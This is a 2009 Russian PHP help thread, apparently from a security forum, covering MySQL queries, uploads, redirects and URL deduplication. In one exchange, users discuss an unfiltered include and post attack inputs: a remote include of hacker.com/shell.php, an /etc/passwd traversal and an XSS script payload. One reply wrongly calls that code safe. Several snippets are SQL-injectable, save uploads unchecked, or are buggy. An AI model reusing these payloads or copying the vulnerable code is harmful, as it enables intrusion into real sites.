<?php
$result2=mysql_query("SELECT news FROM uppdate",$db);
$myrow2=mysql_fetch_array($result2);
do
{
printf("<li>%s</li>",$myrow2["news"]);
}
while ($myrow2=mysql_fetch_array($result2));
?>
народ подскажите что нужно добавить в
$result2=mysql_query("SELECT news FROM uppdate",$db);
вроде чета DESC и ORDER
но я чет не помню уже пересидел слегка все забыл =)
суть что мне макс надо вывести 3 записи из bd и самые новые типо от id3 и вниз.
inlanger
16.04.2009, 18:28
$result2=mysql_query("SELECT id, news FROM uppdate ORDER by id",$db);
inlanger спасиб вспомнил
$result=mysql_query("SELECT id,title,secription,data FROM news ORDER BY data DESC, id DESC LIMIT 3",$db);
если что LIMIT 3 отвечает за то сколкьо записей вытащить ;)
Собственно вот что интересует.
Как сделать такую вот постраничную навиацию:
Есть $_GET['st'] = 18;
Мы выводим 16,17,18,19,20
Ну и по анологии.
А если st = 1, то там другое условие,и прочее.
Просто у меня получаеться слишком большой код,а я думаю ктото так и тк этим занимался)
Если кому интересно,то вот ответ на предидущий пост.ОЧень хорошо работает,и доделывать там копейки:
http://forum.oszone.net/post-943216.html
вопрос про загрузку картинки на сервер
сделал форму
<form action='img_add.php' method='POST' name='form1'>
<label for="image">Изображение:</label><br>
<input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
<input type="file" size=40 name="image" id="image"><br>
<input type='submit' name='submit' id='submit' value='Загрузим картиночку :-)'><br>
</form>
img_add.php
<?php
$filename = "ima2/".rand(0,99999).$_FILES['image']['name'];
move_uploaded_file($_FILES['image']['tmp_name'], $filename);
?>
по идеи в папку ima2 должна загрузится картинка не?
Добрый вечер. Подскажите пожалуйста какой командой иил связкой команд можно на php сделать страницу, которой задается id, и в соответствии с этим id, поисходит переход по соответствующему линку.... ? буду благодарен любым подсказкам
типо
{
printf("<a href='view_link.php?id=%s'>%s</a>",$myrow["id"],$myrow["title"]);
}
while()
ты про это Gadik?
не совсем, к примеру вызывает юзер страницу с параметром script.php?id=50 и эта страница выбирает из массива линк, который соотвествует id = 50 и пересылает юзера на этот линк, т.е. чтобы происходил переход на линк, а не выводился на экран..
2 Gadik
<?php
if (isset($_GET['id']) && is_numeric($_GET['id'])){
switch($_GET['id']){
case 1:
redirect("тут твой линк 1");
break;
case 2:
redirect("тут твой линк 2");
break;
default:
redirect("тут твой линк, тот который выдаётся если ид ты не определил");
break;
}
}else{
redirect("а тут твой линк, который выдаётся если в ид запихали хрень какую то");
}
function redirect($url){
header('Location: '.$url);
exit();
}
?>
вариант номер 2 для Gadik
<?php
$linkarray = array(
0 => "http://www.yandex.com/1.php",
1 => "http://www.yandex.com/2.php"
);
if (isset($_GET['id']) && is_numeric($_GET['id'])){
if(isset($linkarray[$_GET['id']])){
redirect($linkarray[$id]);
}else{
//не определено у тя такого
}
}else{
redirect("а тут твой линк, который выдаётся если в ид запихали хрень какую то");
}
function redirect($url){
header('Location: '.$url);
exit();
}
?>
Немного поменял скрипт , вот держи
а, пасибо, второй вариант мне более понятен, смогу доделать)) спс большое за помощь) буду пробовать
... не происходит переход по линкам.... скрипт не менял так и залил, должен же работать в таком виде? ..
а именно срабатывает условие там где
//не определено у тя такого
вообщем false выдает, не могу понять почему...
разобрался, исправил pos !== false на pos !== "" и вроде работает
shellz[21h]
17.04.2009, 05:19
Доброе время суток!
Имеются записи в формате:
site.com/?id=1&page=end
site.com/?id=2&page=end
site.com/?pp=1&page=main&sort=1
site.com/?pp=2&page=main&sort=1
etc...
Подскажите пожалуйста, как убрать повторые записи, нужно чтоб вывдило, вот так:
site.com/?id=1&page=end
site.com/?pp=1&page=main&sort=1
тоесть, чтоб переменные не повторялись. Заранее спасибо.
проще всего загнать в массив и заюзать ф-ию array_unique()
напр. если это файл print_r(array_unique(file('a.txt')));
ну или если уже стринг print_r(array_unique(explode("\n",$string)));
Dr.Frank
17.04.2009, 05:50
проще всего загнать в массив и заюзать ф-ию array_unique()
напр. если это файл print_r(array_unique(file('a.txt')));
ну или если уже стринг print_r(array_unique(explode("\n",$string)));
array_unique не справится с этой задачей, т.к. в приведенном примере не полностью одинаковые строки:
site.com/?id=1&page=end
site.com/?id=2&page=end
site.com/?pp=1&page=main&sort=1
site.com/?pp=2&page=main&sort=1
shellz[21h]
17.04.2009, 06:05
array_unique() , в этому случае не подходит.
Dr.Frank, правильно понил вопрос)
Pashkela
17.04.2009, 11:53
Тогда лучше пример такого файла ТОЧНЫЙ (или сказать, что точно так, как в вопросе, только хост заменен) + идут ли такие вот записи подряд или нет (одна под другой, или может быть случайное расположение)
<pre>
<?php
$str1 = "site.com/?id=1&page=end";
$str2 = "site.com/?id=2&page=end";
$var1 = similar_text($str1, $str2, &$tmp);
echo "Совпадение в процентах: $tmp\n"; // примерно 95%,
//значит практически идентичны, для нас по условиям., идентичны
//Если отличие больше - значит у нас новая ссылка:
$str1 = "site.com/?id=1&page=end";
$str2 = "site.com/?pp=1&page=main&sort=1";
$var1 = similar_text($str1, $str2, &$tmp);
echo "Совпадение в процентах: $tmp\n"; // примерно 70%
//разница большая, новая уникальная ссылка (по условиям)
?>
</pre>
но в данном случае лучше всего подойдет функция Левенштейна, которая просто показывает, сколько символов надо заменить, чтобы из первой строки получить вторую, т.е. если возвращает 1 - строки АБСОЛЮТНО ИДЕНТИЧНЫ по условию задачи:
<?php
$str1 = "site.com/?id=1&page=end";
$str2 = "site.com/?id=2&page=end";
$var = levenshtein($str1,$str2);
echo($var); // вернет 1
?>
</pre>
если строки идут не подряд такого рода, а в разброс - то файл в массив и предварительная сортировка, потом обычное построчное чтение с помощью fgets() и сравнению по Левенштейну
т.е. по задаче конкретно примерно так выглядеть будет по идее:
<pre>
<pre>
<?php
$file = 'tema1.txt'; // Файл с ссылками
$res = 'tema10.txt'; // Результирующий файл
// функция для сравнения по Левенштейну
function lev($str1,$str2) {
$a = levenshtein($str1,$str2);
if ($a!=1) return true;
return false;
}
// Соритруем файл с сылками
$sort = file($file);
sort($sort);
file_put_contents($file,$sort);
// Начинаем отбирать "уникальные" ссылки
$hand1 = fopen($res,'w');
$hand = fopen($file,'r');
while(!feof($hand)) {
$buf1 = trim(fgets($hand));
$buf2 = trim(fgets($hand));
if (lev($buf1,$buf2)) fwrite($hand1,$buf1. "\n" .$buf2 ."\r\n");
else fwrite($hand1,$buf1 . "\r\n");
}
fclose($hand);
fclose($hand1);
echo 'Done';
?>
</pre>
Погонял щаз, на самом деле и этот вариант неправильный, т.к. будет работать только для ДВУХ подряд идущих ссылок:))) А если их таких три и больше - не сработает. Поэтому вот ПРАВИЛЬНЫЙ вариант на любое кол-во таких ссылок:
<pre>
<?php
$file = 'tema1.txt'; // Файл с ссылками
$res = 'tema10.txt'; // Результирующий файл
// функция для сравнения по Левенштейну
function lev($str1,$str2) {
$a = levenshtein($str1,$str2);
if ($a==1 or $a==0) return false;
return true;
}
// А теперь сравниваем каждую строку
//со всеми при помощи функции выше
function Ustr ($hand, $str)
{
fseek($hand,0);
while (!feof ($hand)) {
$temp = trim(fgets($hand));
if (!lev($str,$temp))
return false;
}
return true;
}
// Сортируем файл с сылками
$sort = file($file);
sort($sort);
file_put_contents($file,$sort);
// Начинаем отбирать "уникальные" ссылки
$hand1 = fopen($res,'w+');
$hand = fopen($file,'r');
while(!feof($hand)) {
$buf = trim(fgets($hand));
if (Ustr($hand1,$buf)) {
fseek ($hand1, 0, SEEK_END);
fwrite($hand1,$buf ."\r\n");
}
}
fclose($hand);
fclose($hand1);
echo 'Done';
?>
</pre>
Pashkela Вы как бы заблуждаетесь, если строки идентичны - левенштейн вернет 0. А для id=2 и id=13 левенштейн вернет 2. И ваш скрипт вообще возвращает неожиданные результаты))
Вход:
site.com/?id=1&page=end
site.com/?id=5&page=end
site.com/?id=4&page=end
site.com/?id=3&page=end
site.com/?id=2&page=end
site.com/?id=6&page=end
Выход:
site.com/?id=1&page=end
site.com/?id=3&page=end
site.com/?id=5&page=end
Pashkela
17.04.2009, 13:30
исправил выше в посте, когда
id=2 и id=11111
пока хз, можно ручками задать в условиях в первой функции, универсально как - хз пока, или от процентов прыгать (similar_text())
Хм, не такая уж и тривиальная задачка:)
Если нужно сравнивать только окончания ссылок
Входной файл:
site.com/?id=1&page=end
site.com/?id=2&page=end
site.com/?pp=1&page=main&sort=1
site.com/?pp=2&page=main&sort=1
site.com/?dd=1&page=old
site.com/?dd=2&page=old
site.com/?dd=3&page=old
site.com/?dd=4&page=old
<?php
$file = 'tema1.txt';
$f = file_get_contents($file)."\r\n";
preg_match_all('~^[^\?]*\?[^=]+=([^&]+)(&.+)~mi',$f,$match);
$arr=array_values(array_combine($match[2],$match[0]));
print_r($arr);
echo 'Done';
?>
С учетом ниженаписанного SQLHACK регулярка будет такая (имхо проще и быстрее будет):<?php
$file = 'tema1.txt';
$f = file_get_contents($file)."\r\n";
preg_match_all('~^.*/([^=]+)=[^&]+&.+~mi',$f,$match);
$arr=array_values(array_combine($match[1],$match[0]));
print_r($arr);
echo 'Done';
?>
Pashkela
17.04.2009, 13:43
Ну или вот с процентным совпадением, процент задаете сами в первой функции:
<pre>
<?php
$file = 'tema1.txt'; // Файл с ссылками
$res = 'tema10.txt'; // Результирующий файл
// функция для процентного сравнения текста
function lev($str1,$str2) {
$a = similar_text($str1, $str2, &$tmp);
if (round($tmp,0)>=86) return false; // тут 86 -
// - процент совпадения строк, можно менять
return true;
}
// А теперь сравниваем каждую строку со всеми при помощи функции выше
function Ustr ($hand, $str)
{
fseek($hand,0);
while (!feof ($hand)) {
$temp = trim(fgets($hand));
if (!lev($str,$temp))
return false;
}
return true;
}
// Соритруем файл с сылками
$sort = file($file);
sort($sort);
file_put_contents($file,$sort);
// Начинаем отбирать "уникальные" ссылки
$hand1 = fopen($res,'w+');
$hand = fopen($file,'r');
while(!feof($hand)) {
$buf = trim(fgets($hand));
if (Ustr($hand1,$buf)) {
fseek ($hand1, 0, SEEK_END);
fwrite($hand1,$buf ."\r\n");
}
}
fclose($hand);
fclose($hand1);
echo 'Done';
?>
</pre>
два с половиной часа себе мозг трахал , короче если я правильно понял, то надо было сделать так: ссылки где одинаковые параметры, но просто разные значения этим параметров, их надо было выкинуть, полезно это может быть только в парсере поисковиков, где они могут выдавать пути к одним и темже скриптам, но с разными параметрами, так вот этот скрипт делает именно это.
Ссылки пихаем в c:/2.txt ну или указываем другой файл.
то есть из такого
http://site.com/index.php?id=1&page=end
site.com/?id=2&page=end
http://site.com/?pp=1&page=main&sort=1
http://site.com/?pp=2&page=main&sort=1
http://site.com/?pp=3&page=notmain&sort=1
делает такое
http://site.com/index.php?id=1&page=end
http://site.com/?id=2&page=end
http://site.com/?pp=1&page=main&sort=1
<?php
$urlarr = file("c:/2.txt");
$site = array();
//создаем массив с сылками и параметрами
foreach($urlarr as $url){
$url = trim($url);
if($url != ""){
if(substr($url,0,7) != "http://" && substr($url,0,8) != "https://"){
$url = "http://".$url;
}
$x = parse_url($url);
$newurl = $x['scheme']."://".$x['host'].$x['path'];
$params = explode("&", $x['query']);
$pp = array();
foreach($params as $param){
$p = strpos($param, "=");
if($p>0){
$paramname = strtolower(substr($param, 0, $p));
$paramval = strtolower(substr($param, $p + 1, strlen($param) - $p - 1));
if (strlen($paramval) == 0){
$paramval = chr(0);
}
}
$pp[$paramname] = $paramval;
}
$site[$newurl][] = $pp;
}
}
//$siteclone = $site;
$siteclone = array_map("deepvalkill", $site);
function deepvalkill($value){
$value = is_array($value) ? array_map('deepvalkill', $value) : $value = "";
return $value;
}
//чистим одинаковые
foreach($siteclone as $key=>$st){
for($z=0;$z<=count($st);$z++){
for($y=$z+1;$y<=count($st);$y++){
if($st[$z] == $st[$y]){
unset($site[$key][$y]);
}
}
}
}
foreach($site as $key=>$st){
foreach($st as $kk=>$vv){
$par = "";
foreach($vv as $kk2=>$vv2){
$par .= $kk2."=".$vv2."&";
}
//echo $par;
$url = $key."?".substr($par,0,strlen($par)-1);
//выводим ссылки
echo $url."\r\n";;
}
}
?>
Как через <input type="file" name="file"> приняв фаил
С помощью PHP залить его в нужную папку?
Pashkela
17.04.2009, 16:34
гугл сломался?
http://www.softtime.ru/scripts/upload.php
heretic1990
17.04.2009, 16:39
можно пример скрипта для залогинивания на сайте?
чтоб скрипт висел на сайте как бот.
гугл сломался?
http://www.softtime.ru/scripts/upload.php
if($_FILES["90.jpg"]["size"] > 1024*3*1024)
{
echo ("Размер файла превышает три мегабайта");
exit;
}
if(copy($_FILES["90.jpg"]["tmp_name"],
"c:/temp/".$_FILES["90.jpg"]["name"]))
{
echo("Файл успешно загружен <br>");
echo("Характеристики файла: <br>");
echo("Имя файла: ");
echo($_FILES["90.jpg"]["name"]);
echo("<br>Размер файла: ");
echo($_FILES["90.jpg"]["size"]);
echo("<br>Каталог для загрузки: ");
echo($_FILES["90.jpg"]["tmp_name"]);
echo("<br>Тип файла: ");
echo($_FILES["90.jpg"]["type"]);
} else {
echo("Ошибка загрузки файла");
}
Ошибка загрузки файла
Пробовал писать полный путь
Byrger http://ru2.php.net/manual/en/features.file-upload.post-method.php
http://ru2.php.net/manual/en/function.move-uploaded-file.php
shellz[21h]
17.04.2009, 18:42
http://site.com/?pp=1&page=main&sort=1
http://site.com/?pp=2&page=main&sort=1
http://site.com/?pp=3&page=notmain&sort=1
Cпасибо всем за помощь, еще раз. Выручили))
Как проверить что файл пустой? (file.txt)
Pashkela
17.04.2009, 19:24
if (filesize('file.txt')!=0) echo 'Не пустой! Не удалять! Ааааааа!';
else echo 'Вот ты любитель пустые файлы на диске держать';
В чем моя проблема?
<?php
if (filesize("proxy.txt") == 0){
echo "Файл пуст.Выводить нечего!";
}
else
{
$my = fopen("proxy.txt", "w+");
while (!feof($my)){
$buff = fgets($my,4096);
echo $buff;
}
}
?>
Заполняю файл прокси.тхт
Дальше захожу на страницу.Так он у меня удаляет все что в файле прокси.тхт
'w+' Открывает файл для чтения и записи; помещает указатель в начало файла и обрезает файл до нулевой длинны. Если файл не существует - пробует его создать.
А тебе нужно 'r' т.е.
<?php
if (filesize("proxy.txt") == 0)
{
echo "Файл пуст.Выводить нечего!";
}
else
{
$my = fopen("proxy.txt", "r");
while (!feof($my))
{
$buff = fgets($my,4096);
echo $buff;
}
}
?>
В функции fopen w+ поменяй на r
Народ вопрос что можно доабвить чтоб не менять остальной код
<?php
$db = mysql_connect ("localhost","obereguser","12345");
mysql_select_db("oberegisr",$db);
?>
<html>
<head>
<TITLE></TITLE>
<META NAME="KEYWORDS" CONTENT="">
<META NAME="DESCRIPTION" CONTENT="">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#333333" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<center>
<br><br>
<?php
$result=mysql_query("SELECT id,title,text FROM news ORDER BY id DESC",$db);
$myrow=mysql_fetch_array($result);
do
{
if (strlen($myrow['text']) > 255)
{
$moreThan255 = true;
$myrow['text'] = substr($myrow['text'],0,255);
}
$myrow['text'] = wordwrap($myrow['text'], 50, "\n", true);
printf("<a href='view_news.php?id=%s'>%s</a><br><br><br>
%s<br>
if ($moreThan255)
{
echo "<br><a style='color:#990000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:12px;font-style:normal;font-weight:normal;text-decoration:none;' href=news.php?id=$myrow[id]>Читать дальше...</a>";
}
",$myrow["id"],$myrow["title"],$myrow["text"]);
}
while ($myrow=mysql_fetch_array($result));
?>
</center>
</body>
</html>
выше код не рабочий,
сначала я написал вот так
этот код работает
<?php
$db = mysql_connect ("localhost","obereguser","12345");
mysql_select_db("oberegisr",$db);
?>
<html>
<head>
<TITLE></TITLE>
<META NAME="KEYWORDS" CONTENT="">
<META NAME="DESCRIPTION" CONTENT="">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#333333" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<center>
<br><br>
<?php
$result=mysql_query("SELECT id,title,text FROM news ORDER BY id DESC",$db);
$myrow=mysql_fetch_array($result);
do
{
if (strlen($myrow['text']) > 255)
{
$moreThan255 = true;
$myrow['text'] = substr($myrow['text'],0,255);
}
$myrow['text'] = wordwrap($myrow['text'], 50, "\n", true);
printf("<a href='view_news.php?id=%s'>%s</a><br><br><br>
%s<br>",$myrow["id"],$myrow["title"],$myrow["text"]);
if ($moreThan255)
{
echo "<br><a style='color:#990000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:12px;font-style:normal;font-weight:normal;text-decoration:none;' href=news.php?id=$myrow[id]>Читать дальше...</a>";
}
}
while ($myrow=mysql_fetch_array($result));
?>
</center>
</body>
</html>
но мне надо чтоб
if ($moreThan255)
{
echo "<br><a style='color:#990000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:12px;font-style:normal;font-weight:normal;text-decoration:none;' href=news.php?id=$myrow[id]>Читать дальше...</a>";
}
шел после
$myrow['text'] = wordwrap($myrow['text'], 50, "\n", true);
printf("<a href='view_news.php?id=%s'>%s</a><br><br><br>
%s<br>
,я чет голову ломаю как написать
Nightmarе
18.04.2009, 05:07
Подскажите плиз как сделать проверку существует ли файл в конкретной директории.
Вот:
$dir = "/home/hosting/folder/";
$file = "index.php";
Нужно в директории $dir проверить лежит ли там файл с названием $file
маленький нубский вопрос который я давно хотел спросить.
что такое "->" в php?
<?
if(isset($_POST['name']) && isset($_POST['text'])) {
if(!empty($_POST['name']) && !empty($_POST['text'])) {
$text = str_replace("\n", "<br />", $text);
$name=strip_tags(stripslashes(substr($_POST['name'],0,15)));
$text=strip_tags(stripslashes(substr($_POST['text'],0,60)));
$str="Имя:".$name."<br>"."Сказал:".$text."\r\n";
$fp=fopen("basa.txt","a+");
fputs($fp,"$str\r\n");
fclose($fp);
header ("Location: ?");
}else{
echo 'вы не ввели данные';
}
}
$file_array = file("basa.txt");
$c = count($file_array);
for($i = $c-20; $i < $c; $i++) {
echo "$file_array[$i]";
}
?>
<form method=POST action="index.php"><br>
Имя:<br>
<input name="name" value=""><br>
Сообщнние<br>
<textarea name="text" rows="6" cols="15"></textarea>
<br>
<input value="пуск" type="submit"></form>
подскажите как мне форматировать текст,чтобы он переносился с опр стороки
А не вызов ли объекта из класса?(хотя сам в классах мало что понимаю,самому интерено.)
-----
В догонку: Что означает: %? Часто вижу пишут в коде,но нипонимаю зачем..
inlanger
18.04.2009, 12:29
Смотря где стоит %. Если в регулярках, то так просто отделяют её начало и конец.
-> не только выхов объекта класса
Смотря где стоит %. Если в регулярках, то так просто отделяют её начало и конец.
-> не только выхов объекта класса
Ну я уж несовсем дурак,и могу отличить регулярку)
Мне интересно именно в непосредственном коде)
Точесть чтото проде: $in % $out; Чтото вроде
.:EnoT:.
18.04.2009, 12:35
маленький нубский вопрос который я давно хотел спросить.
что такое "->" в php?
Почему обязательно класса?
mysql_fetch_object() к примеру возвращает результат запроса как объект.
m0Hze
% это деление по модулю. В условиях используют например для проверки кратности, чётности/нечётности
.:EnoT:.
18.04.2009, 12:49
Эм,тоесть 12%3?
ну да. вернёт 0
маленький нубский вопрос который я давно хотел спросить.
что такое "->" в php?
Это обращение к к классу, если я не ошибаюсь. Примерно так mail->send();
Где mail класс а send() функция класса. Поправьте если не прав.
+----+---------------+------+-----+--------+-----+---------------------+
| id | name | hide | pos | id_cat | sub | text |
+----+---------------+------+-----+--------+-----+---------------------+
| 3 | Auto | 0 | 0 | 0 | 0 | About job find work |
| 4 | Work | 0 | 0 | 1 | 0 | About car and model |
| 5 | BNW | 0 | 0 | 0 | 1 | |
| 6 | Mercedes Benz | 0 | 0 | 0 | 2 | |
| 7 | Find job | 0 | 0 | 1 | 1 | |
| 8 | Get job | 0 | 0 | 1 | 0 | |
+----+---------------+------+-----+--------+-----+---------------------+
function seltreecat($level=0)
{
connection();
$query="SELECT id,id_cat,sub, name FROM category where id_cat=$level order by sub";
$rezult = mysql_query($query);
$counter =0 ;
if(!$rezult) echo mysql_error().exit();
while(($cat = mysql_fetch_array($rezult)) !==false)
{
for($i =0 ; $i <$counter ; $i++) $nbs = " ";
$counter++;
if($cat['sub'] == 0 ) {
echo "<option>{$nbs}(".$cat['sub'].")". $cat['name']."</option>";
}
if($cat['sub'] > 0 ) {
echo "<option>{$nbs}(".$cat['sub'].")". $cat['name']."</option>";
}
}
if(mysql_num_rows($rezult) > 0)
seltreecat($level+1) ;
}
<select>
<?= seltreecat(); ?>
</select>
не знаю правильно ли я сделал, что суб категории доставать .
Вопрос как сделать что вложение было так
Auto->Mercedes->E660
надо ли создать еще одно поле таблице :confused:
и как лучше отделить код хтмл...
$c = count($files);
for ($id = 0; $id < $c; $id ++) {
include "./include/$files[$id]";
echo "Имя - {$name1}<br>";
echo "<input type=\"text\" maxlength=\"1500\" value=\"{$r}\"> " ;
echo "<textarea rows=\"7\" cols=\"30\" value=\"{$text}\"</textarea> <br>";
echo "<font color=\"red\">---------------------------------</font>";
}
все переменные есть в файлах.. но выводит както ваще не так как надо)
что такое?
уверен что инклудиться ? зачем использовать двойные кавычки и везде писать \" вместо конкации с нужной переменной ?
лучше дай больший кусок кода, ну или что выводиться у тебя и что должно.
Может попробуешь не так:
include "./include/$files[$id]";
а так?
include './include/'.$files[$id];
уверен что инклудиться ? зачем использовать двойные кавычки и везде писать \" вместо конкации с нужной переменной ?
лучше дай больший кусок кода, ну или что выводиться у тебя и что должно.
проьбовал точно также....
это и есть кусок кода.. до этого просто вывожу список файлов в папке.. все ok..
print_r($files); -- ok
Может попробуешь не так:
PHP код:
а так?
тоже самое....
Pashkela
20.04.2009, 22:08
include "./include/$files[$id]"; - так неправильно, массив если в двойных кавычках, то только в {}, или как у art2222
плюс чо это за инклуд такой в цикле?О_о
есть textarea (html)
В нем текст такого вида
:Alex:
-Nikolay-
+Rikko+
и т.д. (не знаю скоко таких записей)
нужно чтобы все эти слова (до единого) выполнили запрос к mysql
........ WHERE name='строка'
думаю поняли
для начало просто запрос чтобы выполнял (ниче не выводил)
Krist_ALL
21.04.2009, 16:43
передаешь значение текстари формой скрипту, потом
$a = explode('\n', $_POST['textarea']);
$query = 'select ..... where ';
foreach($a =>$zn) {
$a .= "name='$zn' or";
}
как то так.
ну или например так:
<?php
$arr = explode("\n", $_POST['textarea']);
foreach ($arr as $text)
mysql_query("DELETE FROM users WHERE name = '$text'");
?>
От sql-inj сам насочиняй что-нибудь)
2Krist_ALL
\n в двойных кавычках надо указывать.
-m0rgan-
21.04.2009, 17:33
Для защиты от скули можно юзать ф-ю mysql_escape_string()
Пример:
<?php
$arr = explode("\n", $_POST['textarea']);
foreach ($arr as $text)
mysql_query("DELETE * FROM users where name='".mysql_escape_string($text)."'";$result = mysql_query($query);
?>
Вроде так, писал на быструю руку...
Скажите пожалуйста, где можно найти список всех браузеров с точными версиями, мне это надо для сокетов.
Например 'user_agent' => 'Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061015 Firefox/3.0
Скажите пожалуйста, где можно найти список всех браузеров с точными версиями, мне это надо для сокетов.
Например 'user_agent' => 'Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061015 Firefox/3.0
Не все, но много: http://ru.wikipedia.org/wiki/User_agent
допустим на сайте есть такой код:
include("page".$GET['id'].".php");
Причём id ничём не фильтруется. Может ли это привести к плачевным последствиям?
допустим на сайте есть такой код:
include("page".$GET['id'].".php");
Причём id ничём не фильтруется. Может ли это привести к плачевным последствиям?
Нет, это безопасно
Главное , что у тебя не было важных файлов, которые начинались с page*.php.
Можно будет приинклудить любой файл начинающийся с "page"
А если у тебя будет папка "page" ,ТО это тоже даст свои плоды :
$GET['id']=/admin
include("page".$GET['id'].".php")
В итоге получится приинклудится "page/admin.php"
Pashkela
23.04.2009, 19:10
Это вообще небезопасно, если честно. Фильтровать обязательно. Хотя бы от XSS (вообще-то)
Это вообще небезопасно, если честно. Фильтровать обязательно. Хотя бы от XSS (вообще-то)
Фильтровать-то обязательно надо - понятно, а каким образом там появятся XSS ?
Это вообще небезопасно, если честно. Фильтровать обязательно. Хотя бы от XSS (вообще-то)
Если несложно,покажи пример как провести ксс с этим куском кода.(в позновательных целях)
Если несложно,покажи пример как провести ксс с этим куском кода.(в позновательных целях)
+1, тоже стало интересно.
Подскажите функцию которая определяет есть ли кусочек слова (к примеру в $_GET['my_get'])(не путайте с проверкой целой части слов)
Если есть кусочек слова то выводил что нибуть
зы Pashkela тоже интересно насчет XSS :D
strpos,stripos,preg_match,array_search,in_array
Pashkela
23.04.2009, 19:20
+1, тоже стало интересно.
Ну вот тут почитайте, например:
http://www.virtuax.be/fztr/index.php?title=XSS_Intraframe_Logger
и тут кое-что:
http://securityvulns.ru/Tdocument29.html
а также LFI (PHP-inj):
http://n0ns3ns3.livejournal.com/219202.html (ctrl+f "include")
Ну вот тут почитайте, например:
http://www.virtuax.be/fztr/index.php?title=XSS_Intraframe_Logger
и тут кое-что:
http://securityvulns.ru/Tdocument29.html
Мы хотели пример на данном куске кода выше, который показа nilux
/index.php?page=http://hacker.com/shell.php).
В скрипте nilux`не проинклудилось бы
Pashkela
23.04.2009, 19:35
2 DDoSька:
это врядли можно продемонстрировать полноценно, когда выложено только:
include("page".$GET['id'].".php");
Чтобы понять, что тут КОНКРЕТНЫЙ LFI, просто прочтите то, чему вы поверите:
http://forum.antichat.ru/thread23501.html
и не надо меня впредь просить искать уязвимость в коде:
$a = $a+1;
остальной код (скрытый) имеет значение, для демонстрации уязвимости, когда просят именно так - "нет ты скажи, как именно здесь можно всё похерить"
/index.php?page=http://hacker.com/shell.php).
В скрипте nilux`не проинклудилось бы
а я не говорил о RFI, тут LFI, что очень часто достаточно
т.е. например:
/index.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd%00 очень даже просто могло бы, при определенных обстоятельствах, дать свои плоды
Не то :(
Это точно , от xss от отшли к php-inc
да и там "page1.php"
page/../../config.php , разве даст плоды?
Pashkela
23.04.2009, 19:54
/index.php?page="><script>alert(xss)</script>
так лучше?:)
Просто кому XSS нужен, когда LFI есть:)
Это точно , от xss от отшли к php-inc
да и там "page1.php"
page/../../config.php , разве даст плоды?
../ - означает подняться на один уровень выше, вообще-то, неважно, в какой папке ты сейчас
/index.php?page="><script>alert(xss)</script>
так лучше?:)
Просто кому XSS нужен, когда LFI есть:)
../ - означает подняться на один уровень выше, вообще-то, неважно, в какой папке ты сейчас - полезный для меня урок
Не знал, что это так влияет, спасибо за пример :) Хоть провда и просили про XSS
Pashkela спасибо, запрос http://www.site.com/index.php?id=../../index убил браузер )))) рекурсия блин
Моя ваша непонимать. Моя понимать джокестера. Че вы тут о хсс трёте если тут явно лфи? О_О
П.С Нет, это безопасно :D
<form method="post">
<center>
<div>text:
<input type="text" name="text" size="60"/><br />
<input type="submit" name="button" value="decode"/>
</div>
<br />
<br />
<br />
<center>
<div>md5</div>
<input type="text" name="md5" size="40"/>
</center>
</form>
<?php
if (isset($_POST['button'])){
$_POST['md5'] = md5($_POST['text']);
}
?>
вообщем нужно чтобы value у md5 было значение функции md5($_POST['text'])
как это сделать?
value="<? echo md5($_POST['text']; ?>"
value="<? echo md5($_POST['text']; ?>"
открытый текст пхп виден
так не преобразуеться в функцию вообще (темболее ты забыл закрыть скобку)
ЗЫ все понял свою ошибку, я открывал как html файл :D
function path($cat,$link) {
connection();
static $link="";
$query="SELECT id, name, parent FROM category where id=$cat";
$rezult = mysql_query($query);
if(!$rezult) echo mysql_error().exit();
if(mysql_num_rows($rezult) > 0) {
$cat = mysql_fetch_array($rezult);
$link[] .= "-><a href=theme.php?cat=".$cat['id'].">".$cat['name']. "</a>";
path($cat['parent'],$link);
}
krsort($link);
return $link;
}
Вопрос как сделать чтоб не сортировать массив ?
если не сортирует то выводит так Марка_Х-Машины-Главная..
Pashkela
24.04.2009, 14:35
2 diznt:
без кавычек
2 DTW:
задай вопрос нормально. Какой параметр в твоём коде, например, есть "Марка_Х" и вообще, ты так и не написал, какая последовательность была бы правильной
а вообще юзай ASC|DESC еще при SQL запросе
Veteriuz
24.04.2009, 15:44
я только начинаю изучать язык.
Вы, как опытные php-шники, наверное уже пробовали не одну прогу, для более удобного/быстрого написания кода. С разными подсветками синтаксиса и т.п.
Посоветуйте, пожалуйста, с чего бы мне начать? Что поудобней?
ой выббор пал на PHPDesigner.
Посоветуйте, пожалуйста, с чего бы мне начать? Что поудобней?
Eclipse, а лично у меня Zend Studio for Eclipse.
Eclipse, а лично у меня Zend Studio for Eclipse.
Громозкаяхерня,перед темкак чтото писать,успееш поесть и помыться.
А ноут вешает конкретно.
Есть код
<?php
function packet() {
$c=1;
if($c=1) {
return array($c);
}
}
echo packet();
?>
При определенных обстоятельствах возвращается массив, и присваивается, на сколько я понял, функции packet(). Вопрос: как вытащить этот return'енный массив из функции?
function is_user_info($packet)
{
if(!is_array($packet))
return false;
if($packet[0] != $this->MRIM_CS_USER_INFO)
return false;
$p = $packet[1];
$ret = array();
$cnt = 0;
while(true) {
list(,$len) = unpack('L1',$p);
$p = substr($p,4);
$ret[$cnt]['param'] = substr($p,0,$len);
$p = substr($p,$len);
list(,$len) = unpack('L1',$p);
$p = substr($p,4);
$ret[$cnt]['value'] = iconv('UTF-16LE','UTF-8//IGNORE',substr($p,0,$len));
$p = substr($p,$len);
$cnt++;
if(strlen($p) == 0)
break;
}
for($i = 0; $i < count($ret); $i++) {
if($ret[$i]['param'] == 'MRIM.NICKNAME')
$this->nickname = $ret[$i]['value'];
if($ret[$i]['param'] == 'client.endpoint') {
list($ip) = explode(':',$ret[$i]['value']);
$this->ip = trim($ip);
}
}
return $ret;
}
Это класс. Описание:
mixed is_user_info(
array $packet - принятый от сервера пакет
) - проверяет, является ли принятый пакет личной информацией пользователя
